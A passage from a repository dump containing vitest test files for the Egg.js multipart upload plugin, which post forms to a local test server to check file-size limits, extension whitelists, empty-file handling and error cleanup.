    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport formstream from 'formstream';\nimport urllib from 'urllib';\nimport { beforeAll, afterAll, beforeEach, afterEach, describe, it, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\n// Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\ndescribe.skipIf(process.version.startsWith('v20.'))('test/multipart-for-await.test.ts', () => {\n  let app: MockApplication;\n  let server: any;\n  let host: string;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/multipart-for-await'),\n    });\n    await app.ready();\n    server = app.listen();\n    host = 'http://127.0.0.1:' + server.address().port;\n  });\n  afterAll(() => app.close());\n  afterAll(() => server.close());\n  beforeEach(() => app.mockCsrf());\n  afterEach(mm.restore);\n\n  it('should support for-await-of', async () => {\n    const form = formstream();\n    form.field('foo', 'bar');\n    form.field('love', 'egg');\n    form.file('file1', getFixtures('中文名.js'));\n    form.file('file2', getFixtures('testfile.txt'));\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers: form.headers(),\n      stream: form as any,\n      dataType: 'json',\n    });\n\n    const data = res.data;\n    // console.log(data);\n    expect(data.fields.foo).toBe('bar');\n    expect(data.fields.love).toBe('egg');\n    expect(data.files.file1.fileName).toBe('中文名.js');\n    expect(data.files.file1.content).toContain('hello');\n    expect(data.files.file2.fileName).toBe('testfile.txt');\n    expect(data.files.file2.content).toContain('this is a test file');\n    expect(data.files.file3).toBeUndefined();\n  });\n\n  it('should auto consumed file stream on error throw', async () => {\n    const form = formstream();\n    form.field('foo', 'bar');\n    form.field('love', 'egg');\n    form.file('file2', getFixtures('testfile.txt'));\n\n    const res = await urllib.request(host + '/upload?mock_error=true', {\n      method: 'POST',\n      headers: form.headers(),\n      stream: form as any,\n      dataType: 'json',\n    });\n\n    expect(res.data.message).toBe('mock error');\n  });\n\n  describe('should throw when limit', () => {\n    it('limit fileSize', async () => {\n      const form = formstream();\n      form.field('foo', 'bar');\n      form.field('love', 'egg');\n      form.file('file1', getFixtures('中文名.js'));\n      form.file('file2', getFixtures('bigfile.txt'));\n\n      const res = await urllib.request(host + '/upload', {\n        method: 'POST',\n        headers: form.headers(),\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const { data, status } = res;\n      expect(status).toBe(413);\n      expect(data.message).toBe('Reach fileSize limit');\n    });\n\n    it('limit fileSize very small so limit event is miss', async () => {\n      const form = formstream();\n      form.field('foo', 'bar');\n      form.field('love', 'egg');\n      form.file('file2', getFixtures('bigfile.txt'));\n\n      const res = await urllib.request(host + '/upload?fileSize=10', {\n        method: 'POST',\n        headers: form.headers(),\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const { data, status } = res;\n      expect(status).toBe(413);\n      expect(data.message).toBe('Reach fileSize limit');\n    });\n\n    it('limit fieldSize', async () => {\n      const form = formstream();\n      form.field('foo', 'bar');\n      form.field('love', 'eggaaaaaaaaaaaaa');\n      form.file('file1', getFixtures('中文名.js'));\n      form.file('file2', getFixtures('testfile.txt'));\n\n      const res = await urllib.request(host + '/upload', {\n        method: 'POST',\n        headers: form.headers(),\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const { data, status } = res;\n      expect(status).toBe(413);\n      expect(data.message).toBe('Reach fieldSize limit');\n    });\n\n    // TODO: still not support at busboy 1.x (only support at urlencoded)\n    // https://github.com/mscdex/busboy/blob/v0.3.1/lib/types/multipart.js#L5\n    // https://github.com/mscdex/busboy/blob/master/lib/types/multipart.js#L251\n    it.skip('limit fieldNameSize', async () => {\n      const form = formstream();\n      form.field('fooaaaaaaaaaaaaaaa', 'bar');\n      form.field('love', 'egg');\n      form.file('file1', getFixtures('中文名.js'));\n      form.file('file2', getFixtures('testfile.txt'));\n\n      const res = await urllib.request(host + '/upload', {\n        method: 'POST',\n        headers: form.headers(),\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const { data, status } = res;\n      expect(status).toBe(413);\n      expect(data.message).toBe('Reach fieldNameSize limit');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/multipart/test/multipart.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport { scheduler } from 'node:timers/promises';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport formstream from 'formstream';\nimport urllib from 'urllib';\nimport { beforeAll, afterAll, beforeEach, afterEach, describe, it, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('test/multipart.test.ts', () => {\n  describe('multipart', () => {\n    let app: MockApplication;\n    let server: any;\n    let host: string;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/multipart'),\n      });\n      await app.ready();\n      server = app.listen();\n      host = 'http://127.0.0.1:' + server.address().port;\n    });\n    afterAll(() => app.close());\n    afterAll(() => server.close());\n    beforeEach(() => app.mockCsrf());\n    afterEach(mm.restore);\n\n    it('should not has clean_tmpdir schedule', async () => {\n      try {\n        await app.runSchedule('clean_tmpdir');\n        throw new Error('should not run this');\n      } catch (err: any) {\n        expect(err.message).toBe('[@eggjs/schedule] Cannot find schedule clean_tmpdir');\n      }\n    });\n\n    it('should alway register clean_tmpdir schedule in stream mode', async () => {\n      const logger = app.loggers.scheduleLogger;\n      const content = await fs.readFile(logger.options.file, 'utf8');\n      expect(content).toMatch(/\\[@eggjs\\/schedule\\]: register schedule .+clean_tmpdir\\.ts/);\n    });\n\n    it('should upload with csrf', async () => {\n      const form = formstream();\n      // form.file('file', filepath, filename);\n      form.file('file', __filename);\n      // other form fields\n      form.field('foo', 'fengmk2').field('love', 'chair');\n\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.filename).toBe('multipart.test.ts');\n    });\n\n    it('should upload.json with ctoken', async () => {\n      const form = formstream();\n      // form.file('file', filepath, filename);\n      form.file('file', __filename);\n      // other form fields\n      form.field('foo', 'fengmk2').field('love', 'chair');\n\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.filename).toBe('multipart.test.ts');\n    });\n\n    it('should handle unread stream and return error response', async () => {\n      const form = formstream();\n      // form.file('file', filepath, filename);\n      form.file('file', __filename);\n      // other form fields\n      form.field('foo', 'fengmk2').field('love', 'chair');\n\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload?mock_stream_error=1', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.data.toString()).toMatch(/ENOENT:/);\n    });\n\n    it('should auto consumed file stream on error throw', async () => {\n      for (let i = 0; i < 10; i++) {\n        const form = formstream();\n        form.file('file', getFixtures('bigfile.txt'));\n\n        const headers = form.headers();\n        const url = host + '/upload?mock_undefined_error=1';\n        const result = await urllib.request(url, {\n          method: 'POST',\n          headers,\n          stream: form as any,\n          dataType: 'json',\n        });\n\n        expect(result.status).toBe(500);\n        const data = result.data;\n        expect(data.message).toBe('part.foo is not a function');\n        await scheduler.wait(100);\n      }\n    });\n\n    it('should throw 400 when extname wrong', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'foo.rar');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(400);\n      const data = JSON.parse(res.data);\n      expect(data.message).toBe('Invalid filename: foo.rar');\n    });\n\n    it('should not throw 400 when file not speicified', async () => {\n      const form = formstream();\n      // 模拟用户未选择文件点击了上传，这时 cotroller 是有 file stream 的，因为指定了 MIME application/octet-stream\n      form.buffer('file', Buffer.from(''), '', 'application/octet-stream');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.message).toBe('no file');\n    });\n\n    it('should not throw 400 when file stream empty', async () => {\n      const form = formstream();\n      form.field('foo', 'bar');\n      // 模拟用户未选择文件点击了上传，这时 cotroller 是有 file stream 的，因为指定了 MIME application/octet-stream\n      // form.buffer('file', Buffer.from(''), '', 'application/octet-stream');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.message).toBe('no file');\n    });\n\n    it('should upload when extname speicified in fileExtensions', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'bar.foo');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.filename).toBe('bar.foo');\n    });\n\n    it('should upload when extname speicified in fileExtensions and extname is in upper case', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'bar.BAR');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.filename).toBe('bar.BAR');\n    });\n\n    it('should upload when extname speicified in fileExtensions and extname is missing dot', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'bar.abc');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.filename).toBe('bar.abc');\n    });\n\n    it('should upload when extname is not speicified', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'bar');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.filename).toBe('bar');\n    });\n\n    it('should 400 upload with wrong content-type', async () => {\n      const res = await urllib.request(host + '/upload', {\n        method: 'POST',\n      });\n\n      expect(res.status).toBe(400);\n      expect(res.data.toString()).toMatch(/Content-Type must be multipart/);\n    });\n\n    it('should 400 upload.json with wrong content-type', async () => {\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        dataType: 'json',\n      });\n\n      expect(res.status).toBe(400);\n      expect(res.data.message).toBe('Content-Type must be multipart/*');\n    });\n  });\n\n  describe('whitelist', () => {\n    let app: MockApplication;\n    let server: any;\n    let host: string;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/multipart-with-whitelist'),\n      });\n      await app.ready();\n      server = app.listen();\n      host = 'http://127.0.0.1:' + server.address().port;\n    });\n    afterAll(() => app.close());\n    afterAll(() => server.close());\n    beforeEach(() => app.mockCsrf());\n    afterEach(mm.restore);\n\n    it('should upload when extname speicified in whitelist', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'bar.whitelist');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.filename).toBe('bar.whitelist');\n    });\n\n    it('should upload when extname speicified in whitelist and extname is in upper case', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'bar.WHITELIST');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.filename).toBe('bar.WHITELIST');\n    });\n\n    it('should throw 400 when extname speicified in fileExtensions, but not in whitelist', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'foo.foo');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(400);\n      const data = JSON.parse(res.data);\n      expect(data.message).toBe('Invalid filename: foo.foo');\n    });\n  });\n\n  describe('whitelist-function', () => {\n    let app: MockApplication;\n    let server: any;\n    let host: string;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/whitelist-function'),\n      });\n      await app.ready();\n      server = app.listen();\n      host = 'http://127.0.0.1:' + server.address().port;\n    });\n    afterAll(() => app.close());\n    afterAll(() => server.close());\n    beforeEach(() => app.mockCsrf());\n    afterEach(mm.restore);\n\n    it('should upload when extname pass whitelist function', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'bar');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(200);\n      const data = JSON.parse(res.data);\n      expect(data.filename).toBe('bar');\n    });\n\n    it('should throw 400 when extname not match whitelist function', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'foo.png');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(400);\n      const data = JSON.parse(res.data);\n      expect(data.message).toBe('Invalid filename: foo.png');\n    });\n\n    it('should throw 400 when whitelist function throw error', async () => {\n      const form = formstream();\n      form.file('file', __filename, 'error');\n      const headers = form.headers();\n      const res = await urllib.request(host + '/upload.json', {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(400);\n      const data = JSON.parse(res.data);\n      expect(data.message).toBe('mock checkExt error');\n    });\n  });\n\n  // Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\n  describe.skipIf(process.version.startsWith('v20.'))('upload one file', () => {\n    let app: MockApplication;\n    let server: any;\n    let host: string;\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/upload-one-file'),\n      });\n      await app.ready();\n      server = app.listen();\n      host = 'http://127.0.0.1:' + server.address().port;\n    });\n    beforeAll(async () => {\n      await app.httpRequest().get('/upload').expect(200);\n    });\n    afterAll(() => app.close());\n    afterAll(() => server.close());\n    beforeEach(() => app.mockCsrf());\n    afterEach(mm.restore);\n\n    it('should handle one upload file in simple way', async () => {\n      const form = formstream();\n      form.field('foo', 'bar').field('[', 'toString').field(']', 'toString');\n      form.file('file', __filename);\n\n      const headers = form.headers();\n      const url = host + '/upload';\n      const res = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const data = res.data;\n      expect(data.fields).toEqual({\n        '[': 'toString',\n        ']': 'toString',\n        foo: 'bar',\n      });\n      expect(data.status).toBe(200);\n      expect(typeof data.name).toBe('string');\n      expect(data.url).toContain('http://mockoss.com/egg-multipart-test/');\n    });\n\n    it('should handle one upload file in simple way with async function controller', async () => {\n      const form = formstream();\n      form.file('file', __filename);\n\n      const headers = form.headers();\n      const url = host + '/upload/async';\n      const res = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const data = res.data;\n      expect(data.fields).toEqual({});\n      expect(data.status).toBe(200);\n      expect(typeof data.name).toBe('string');\n      expect(data.url).toContain('http://mockoss.com/egg-multipart-test/');\n    });\n\n    it('should handle one upload file and all fields', async () => {\n      const form = formstream();\n      form.field('f1', 'f1-value');\n      form.field('f2', 'f2-value-中文');\n      form.file('file', __filename);\n\n      const headers = form.headers();\n      const url = host + '/upload';\n      const res = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const data = res.data;\n      expect(res.status).toBe(200);\n      expect(data.status).toBe(200);\n      expect(typeof data.name).toBe('string');\n      expect(data.url).toContain('http://mockoss.com/egg-multipart-test/');\n      expect(data.fields).toEqual({\n        f1: 'f1-value',\n        f2: 'f2-value-中文',\n      });\n    });\n\n    it('should handle non-ascii filename', async () => {\n      const file = getFixtures('中文名.js');\n      const form = formstream();\n      form.file('file', file);\n\n      const headers = form.headers();\n      const url = host + '/upload/async';\n      const res = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const data = res.data;\n      expect(data.name.includes('中文名')).toBe(true);\n    });\n\n    it('should 400 when no file upload', async () => {\n      const form = formstream();\n      form.field('hi', 'ok');\n\n      const headers = form.headers();\n      const url = host + '/upload';\n      const res = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n\n      expect(res.status).toBe(400);\n      expect(res.data.toString()).toContain(\"Can't found upload file\");\n    });\n\n    it('should no file upload and only fields', async () => {\n      const form = formstream();\n      form.field('hi', 'ok');\n      form.field('hi2', 'ok2');\n\n      const headers = form.headers();\n      const url = host + '/upload/allowEmpty';\n      const res = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      expect(res.status).toBe(200);\n      expect(res.data).toEqual({\n        fields: {\n          hi: 'ok',\n          hi2: 'ok2',\n        },\n      });\n    });\n\n    it('should 400 when no file speicified', async () => {\n      const form = formstream();\n      form.buffer('file', Buffer.from(''), '', 'application/octet-stream');\n      const headers = form.headers();\n      const url = host + '/upload';\n      const res = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n      });\n      expect(res.status).toBe(400);\n      expect(res.data.toString()).toContain(\"Can't found upload file\");\n    });\n\n    it('should auto consumed file stream on error throw', async () => {\n      for (let i = 0; i < 10; i++) {\n        const form = formstream();\n        form.file('file', getFixtures('bigfile.txt'));\n\n        const headers = form.headers();\n        const url = host + '/upload/async?foo=error';\n        const result = await urllib.request(url, {\n          method: 'POST',\n          headers,\n          stream: form as any,\n          dataType: 'json',\n        });\n\n        expect(result.status).toBe(500);\n        const data = result.data;\n        expect(data.message).toBe('stream.foo is not a function');\n        await scheduler.wait(100);\n      }\n    });\n\n    it('should file hit limits fileSize', async () => {\n      const form = formstream();\n      form.buffer('file', Buffer.from('a'.repeat(1024 * 1024 * 100)), 'foo.js');\n      const headers = form.headers();\n      const url = host + '/upload/async?fileSize=100000';\n      const result = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      expect(result.status).toBe(413);\n      const data = result.data;\n      expect(data.message).toContain('Request file too large');\n    });\n\n    it('should file hit limits fileSize (byte)', async () => {\n      const form = formstream();\n      form.buffer('file', Buffer.alloc(1024 * 1024 * 100), 'foo.js');\n\n      const headers = form.headers();\n      const url = host + '/upload2';\n      const result = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      expect(result.status).toBe(413);\n      const data = result.data;\n      expect(data.message).toContain('Request file too large');\n    });\n  });\n\n  describe('upload over fileSize limit', () => {\n    let app: MockApplication;\n    let server: any;\n    let host: string;\n    const bigfile = getFixtures('big.js');\n    beforeAll(async () => {\n      app = mm.app({\n        baseDir: getFixtures('apps/upload-limit'),\n      });\n      await app.ready();\n      await fs.writeFile(bigfile, Buffer.alloc(1024 * 1024 * 2));\n      server = app.listen();\n      host = 'http://127.0.0.1:' + server.address().port;\n      await app.httpRequest().get('/upload').expect(200);\n    });\n    afterAll(async () => {\n      await fs.rm(bigfile, { force: true });\n      server.close();\n      await app.close();\n    });\n    beforeEach(() => app.mockCsrf());\n    afterEach(mm.restore);\n\n    it('should show error', async () => {\n      const form = formstream();\n      form.field('foo', 'bar').field('[', 'toString').field(']', 'toString');\n      form.file('file', bigfile);\n\n      const headers = form.headers();\n      const url = host + '/upload';\n      const res = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const data = res.data;\n      expect(res.status).toBe(413);\n      expect(data.message).toContain('Request file too large');\n      const content = await fs.readFile(app.coreLogger.options.file, 'utf-8');\n      expect(content).toContain('nodejs.MultipartFileTooLargeError: Request file too large');\n      // app.expectLog('nodejs.MultipartFileTooLargeError: Request file too large', 'coreLogger');\n    });\n\n    it('should ignore error when stream not handle error event', async () => {\n      const form = formstream();\n      form.field('foo', 'bar').field('[', 'toString').field(']', 'toString');\n      form.file('file', bigfile, 'not-handle-error-event.js');\n\n      const headers = form.headers();\n      const url = host + '/upload';\n      const res = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const data = res.data;\n      expect(res.status).toBe(200);\n      expect(data.url).toBeDefined();\n\n      app.expectLog('nodejs.MultipartFileTooLargeError: Request file too large', 'coreLogger');\n      app.expectLog(/filename: ['\"]not-handle-error-event.js['\"]/, 'coreLogger');\n    });\n\n    it('should ignore stream next errors after limit event fire', async () => {\n      const form = formstream();\n      form.field('foo', 'bar').field('[', 'toString').field(']', 'toString');\n      form.file('file', bigfile, 'not-handle-error-event-and-mock-stream-error.js');\n\n      const headers = form.headers();\n      const url = host + '/upload';\n      const res = await urllib.request(url, {\n        method: 'POST',\n        headers,\n        stream: form as any,\n        dataType: 'json',\n      });\n\n      const data = res.data;\n      expect(res.status).toBe(200);\n      expect(data.url).toBeDefined();\n\n      app.expectLog('nodejs.MultipartFileTooLargeError: Request file too large', 'coreLogger');\n      app.expectLog(/filename: ['\"]not-handle-error-event-and-mock-stream-error.js['\"]/, 'coreLogger');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/multipart/test/setup.ts",
    "content": "import { whitelist } from '../src/lib/utils.ts';\n\n// add ts to whitelist for test\nwhitelist.push('.ts');\nwhitelist.push('.txt');\n"
  },
  {
    "path": "plugins/multipart/test/stream-mode-with-filematch-glob.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport { fileURLToPath } from 'node:url';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport formstream from 'formstream';\nimport urllib from 'urllib';\nimport { beforeAll, afterAll, beforeEach, afterEach, describe, it, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\nconst __filename = fileURLToPath(import.meta.url);\n\ndescribe('test/stream-mode-with-filematch-glob.test.ts', () => {\n  let app: MockApplication;\n  let server: any;\n  let host: string;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/fileModeMatch-glob'),\n    });\n    await app.ready();\n  });\n  beforeAll(() => {\n    server = app.listen();\n    host = 'http://127.0.0.1:' + server.address().port;\n  });\n  afterAll(async () => {\n    try {\n      await fs.rm(app.config.multipart.tmpdir, { force: true, recursive: true });\n    } catch (err) {\n      console.error(err);\n    }\n  });\n  afterAll(() => app.close());\n  afterAll(() => server.close());\n  beforeEach(() => app.mockCsrf());\n  afterEach(mm.restore);\n\n  it('should upload match file mode work on /upload_file', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', getFixtures('bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload_file', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.body).toEqual({\n      foo: 'fengmk2',\n      love: 'egg',\n      work: 'with Node.js',\n    });\n    expect(data.files.length).toBe(3);\n    expect(data.files[0].field).toBe('file1');\n    expect(data.files[0].filename).toBe('foooooooo.js');\n    expect(data.files[0].encoding).toBe('7bit');\n    expect(data.files[0].mime).toBe('application/javascript');\n    expect(data.files[0].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[1].field).toBe('file2');\n    expect(data.files[1].filename).toBe('stream-mode-with-filematch-glob.test.ts');\n    expect(data.files[1].encoding).toBe('7bit');\n    expect(data.files[1].mime).toBe('video/mp2t');\n    expect(data.files[1].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[2].field).toBe('bigfile');\n    expect(data.files[2].filename).toBe('bigfile.txt');\n    expect(data.files[2].encoding).toBe('7bit');\n    expect(data.files[2].mime).toBe('text/plain');\n    expect(data.files[2].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n  });\n\n  it('should upload match file mode work on /upload_file/*', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', getFixtures('bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload_file/foo', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.body).toEqual({\n      foo: 'fengmk2',\n      love: 'egg',\n      work: 'with Node.js',\n    });\n    expect(data.files.length).toBe(3);\n    expect(data.files[0].field).toBe('file1');\n    expect(data.files[0].filename).toBe('foooooooo.js');\n    expect(data.files[0].encoding).toBe('7bit');\n    expect(data.files[0].mime).toBe('application/javascript');\n    expect(data.files[0].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[1].field).toBe('file2');\n    expect(data.files[1].filename).toBe('stream-mode-with-filematch-glob.test.ts');\n    expect(data.files[1].encoding).toBe('7bit');\n    expect(data.files[1].mime).toBe('video/mp2t');\n    expect(data.files[1].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[2].field).toBe('bigfile');\n    expect(data.files[2].filename).toBe('bigfile.txt');\n    expect(data.files[2].encoding).toBe('7bit');\n    expect(data.files[2].mime).toBe('text/plain');\n    expect(data.files[2].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n  });\n\n  it('should upload not match file mode', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', getFixtures('bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data).toEqual({ body: {} });\n  });\n});\n"
  },
  {
    "path": "plugins/multipart/test/stream-mode-with-filematch.test.ts",
    "content": "import fs from 'node:fs/promises';\nimport { fileURLToPath } from 'node:url';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport formstream from 'formstream';\nimport urllib from 'urllib';\nimport { beforeAll, afterAll, beforeEach, afterEach, describe, it, expect } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\nconst __filename = fileURLToPath(import.meta.url);\n\ndescribe('test/stream-mode-with-filematch.test.ts', () => {\n  let app: MockApplication;\n  let server: any;\n  let host: string;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/fileModeMatch'),\n    });\n    await app.ready();\n  });\n  beforeAll(() => {\n    server = app.listen();\n    host = 'http://127.0.0.1:' + server.address().port;\n  });\n  afterAll(async () => {\n    try {\n      await fs.rm(app.config.multipart.tmpdir, { force: true, recursive: true });\n    } catch (err) {\n      console.error(err);\n    }\n  });\n  afterAll(() => app.close());\n  afterAll(() => server.close());\n  beforeEach(() => app.mockCsrf());\n  afterEach(mm.restore);\n\n  it('should upload match file mode', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', getFixtures('bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload_file', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    expect(res.status).toBe(200);\n    const data = JSON.parse(res.data);\n    expect(data.body).toEqual({\n      foo: 'fengmk2',\n      love: 'egg',\n      work: 'with Node.js',\n    });\n    expect(data.files.length).toBe(3);\n    expect(data.files[0].field).toBe('file1');\n    expect(data.files[0].filename).toBe('foooooooo.js');\n    expect(data.files[0].encoding).toBe('7bit');\n    expect(data.files[0].mime).toBe('application/javascript');\n    expect(data.files[0].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[1].field).toBe('file2');\n    expect(data.files[1].filename).toBe('stream-mode-with-filematch.test.ts');\n    expect(data.files[1].encoding).toBe('7bit');\n    expect(data.files[1].mime).toBe('video/mp2t');\n    expect(data.files[1].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n\n    expect(data.files[2].field).toBe('bigfile');\n    expect(data.files[2].filename).toBe('bigfile.txt');\n    expect(data.files[2].encoding).toBe('7bit');\n    expect(data.files[2].mime).toBe('text/plain');\n    expect(data.files[2].filepath.startsWith(app.config.multipart.tmpdir)).toBe(true);\n  });\n\n  it('should upload not match file mode', async () => {\n    const form = formstream();\n    form.field('foo', 'fengmk2').field('love', 'egg');\n    form.file('file1', __filename, 'foooooooo.js');\n    form.file('file2', __filename);\n    // will ignore empty file\n    form.buffer('file3', Buffer.from(''), '', 'application/octet-stream');\n    form.file('bigfile', getFixtures('bigfile.txt'));\n    // other form fields\n    form.field('work', 'with Node.js');\n\n    const headers = form.headers();\n    const res = await urllib.request(host + '/upload', {\n      method: 'POST',\n      headers,\n      stream: form as any,\n    });\n\n    